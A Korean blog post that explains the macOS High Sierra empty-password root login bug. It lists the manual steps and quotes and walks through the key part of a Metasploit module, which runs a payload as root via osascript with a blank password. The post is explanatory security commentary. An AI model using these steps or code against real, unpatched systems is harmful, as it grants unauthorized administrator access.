[EXPLOIT] macOS High Sierra root privilege escalation 취약점/버그에 대한 이야기(code metasploit)

오랜만에 글을씁니다. 글감은 항상 적어두지만, 글 쓰기까지가 참 어렵네요. (그냥 바쁘다는 핑계임)

최근 macOS High Sierra 버전에서 권한 상승 취약점이 있었습니다. 일단 매우 간단하며 패스워드 공백으로 root 로그인 반복 시도 시 간헐적으로 넘어가지는 경우였죠.

EDB를 보던 중.. 이 취약점에 대한 코드가 있어 궁금증이 생겼습니다.

“아마 코드는 짧겠지만.. 뭐로 로그인 창에 값을 넘길까?”

오늘은 이 Exploit 코드에 대해 이야기할까 합니다.

macOS High Sierra Privilege Escalation

먼저 간략하게 취약점에 대해 이야기드리면 이 취약점은 시스템 환경 설정에서 사용 및 그룹 부분으로 이동하는 과정에서 발생하는 인증에 대해 우회가 가능합니다. 설정 기능을 이용하기 위해선 관리자 권한이 필요하기 때문에 관리 권한에 대해 인증하는 구간이 나타납니다. 그 과정에서 사용자 계정에 대한 패스워드 입력이 있지만, 계정명을 root로 변경 후 패스워드 없이 입력 시 권한이 풀리게 됩니다.

이전에 Linux 에서 백스페이스 20몇번인가 연타하던 취약점과 나름 비슷할 수 있겠지요.

관리 권한이 풀린건 굉장한 리스크입니다. 문제는 환경 설정 부분 뿐만 아니라 다른 사용자의 로그인을 사용하는 부분(대표적으로 부팅 후 계정 로그인 페이지)에도 동일하게 적용할 수 있다는 점입니다. 아래 해당 취약점을 발견한 0xAmit가 올린 트윗 내용에서도 부팅 후 로그인 페이지에서 쉽게 root 계정으로 넘어가는 걸 볼 수 있습니다.

https://twitter.com/0xAmit/status/935607313368481793

요약하자면 이렇습니다.

  1. 설정 페이지 접근
  2. 유저&그룹 부분으로 접근
  3. 자물쇠를 클릭하여 인증 구간 접근
  4. 사용자의 계정이 아닌 계정명을 root 로 변경 및 패스워드 공백으로 로그인 시도
  5. 로그인 성공?!

Exploit Code on Metasploit

예상했던대로 코드는 매우 간단합니다. 전문: https://www.exploit-db.com/exploits/43201/

중요한 부분은 딱 두가지 입니다. paydload를 받아 실행하는 부분과 실제 Exploit 부분

  def exploit_cmd(root_payload)
    "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
  end

  def exploit
    payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
    print_status("Writing payload file as '#{payload_file}'")
    write_file(payload_file, payload.raw)
    register_file_for_cleanup(payload_file)
    output = cmd_exec("chmod +x #{payload_file}")
    print_status("Executing payload file as '#{payload_file}'")
    cmd_exec(exploit_cmd(payload_file))
  end
end

별거없습니다. 먼저 exploit 함수부터 보면 payload(shell이되겠죠)를 임시 파일에 잠깐 저장하고 cmd_exec로 exploit_cmd 함수를 호출합니다.

exploit_cmd 함수는 osascript를 이용해서 넘겨받은 payload를 실행하는데, 이 권한에 대해 user이름을 root로 지정하고 패스워드는 공백인 상태로 넘겨줍니다.

위에서 봤던 부분이죠. 솔직히 너무 간단해서 놀랐네요(뭔가 더 많은걸 기대함)

그럼 이제 궁금증이 하나 더 생깁니다. “osascript”는 뭐지? 전 macOS 사용자가 아니라 잘 모르겠네요. 찾아봅시다.

https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/osascript.1.html

보아하니 AppleScript 스크립트를 실행해주는 프로그램이네요. AppleScript는 macOS에서 사용 가능한 스크립트 언어입니다. 크게 특수하진 않아요. (https://ko.wikipedia.org/wiki/%EC%95%A0%ED%94%8C%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8 )

Conclusion

해당 취약점은 빠르게 Apple에 의해 조치되었습니다. 단순하게 물리적인 PC접근 상황에서만 사용할 수 있는 취약점이 아닌 보편적인 Local 권한 상승이기 떄문에 꼭 패치가 필요하단 생각이듭니다.

마지막으로 이 취약점은 단순한 버그일 수 있지만 권한상승이라는 큰 리스크와 연결됩니다. 이처럼 색다른 시도(키보드 연타?!)로 취약점을 찾아볼 수 있으면 재미있겠다는 생각이 드네요 :)

Reference

https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/osascript.1.html https://www.exploit-db.com/exploits/43201/ https://www.cnet.com/how-to/how-to-fix-the-macos-high-sierra-password-bug/ https://ko.wikipedia.org/wiki/%EC%95%A0%ED%94%8C%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8